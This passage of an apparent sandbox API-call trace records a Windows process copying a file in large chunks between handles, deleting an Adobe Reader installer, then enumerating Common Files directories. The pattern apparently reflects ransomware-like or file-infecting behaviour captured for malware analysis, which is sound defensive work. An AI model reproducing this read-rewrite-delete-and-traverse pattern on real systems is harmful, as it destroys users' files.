lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.231] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.232] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.234] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.235] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.236] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.236] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.237] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.238] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.239] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.240] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.241] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.241] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.242] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.243] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.268] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.269] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.270] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.270] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.271] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.272] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.283] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.284] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.285] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.286] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.286] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.287] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.323] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.327] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.328] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.329] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.329] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.330] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.331] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.332] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.333] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.333] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.334] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.335] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.337] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.338] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.339] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.340] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.340] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.341] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.363] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.364] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.365] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.366] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.366] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.367] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.370] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.371] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.372] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.372] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.373] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.374] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.375] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.376] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.377] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.378] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.378] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.379] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.381] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.382] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.383] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.384] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.384] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.386] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.386] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.387] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.388] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.388] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.389] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.390] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.426] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.429] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.430] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0xca00, lpOverlapped=0x0) returned 1 [0197.430] ReadFile (in: hFile=0x334, lpBuffer=0x390df7c, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390df7c*, lpNumberOfBytesRead=0x9bb520*=0x0, lpOverlapped=0x0) returned 1 [0197.431] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.431] WriteFile (in: hFile=0x39c, lpBuffer=0x390ef7c*, nNumberOfBytesToWrite=0xb000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x390ef7c*, lpNumberOfBytesWritten=0x9b9a80*=0xb000, lpOverlapped=0x0) returned 1 [0197.432] ReadFile (in: hFile=0x334, lpBuffer=0x390df9c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390df9c*, lpNumberOfBytesRead=0x9bb520*=0x0, lpOverlapped=0x0) returned 1 [0197.433] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0xa20, lpNumberOfBytesWritten=0x9b9a0c, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a0c*=0xa20, lpOverlapped=0x0) returned 1 [0197.433] CloseHandle (hObject=0x39c) returned 1 [0197.433] CloseHandle (hObject=0x334) returned 1 [0197.434] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files\\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\\AcroRdrDC1500720033_en_US.msi" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\setup files\\{ac76ba86-7ad7-1033-7b44-ac0f074e4100}\\acrordrdc1500720033_en_us.msi")) returned 0 [0197.435] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcd25c285, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xcd25c285, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7490 [0197.435] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcd25c285, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xcd25c285, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0197.435] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xbb39c720, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3420de7a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="Adobe", cAlternateFileName="")) returned 1 [0197.436] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb2fbfbb9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb2fe5e18, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb2fe5e18, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="Java", cAlternateFileName="")) returned 1 [0197.436] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb686ce0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4a0e1ac1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1 [0197.436] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8074a0, ftCreationTime.dwHighDateTime=0x1d51b7a, ftLastAccessTime.dwLowDateTime=0xa9ba7a90, ftLastAccessTime.dwHighDateTime=0x1d4df08, ftLastWriteTime.dwLowDateTime=0xa9ba7a90, ftLastWriteTime.dwHighDateTime=0x1d4df08, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="nickel-pmc.exe", cAlternateFileName="NICKEL~1.EXE")) returned 1 [0197.436] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb9ebb45, 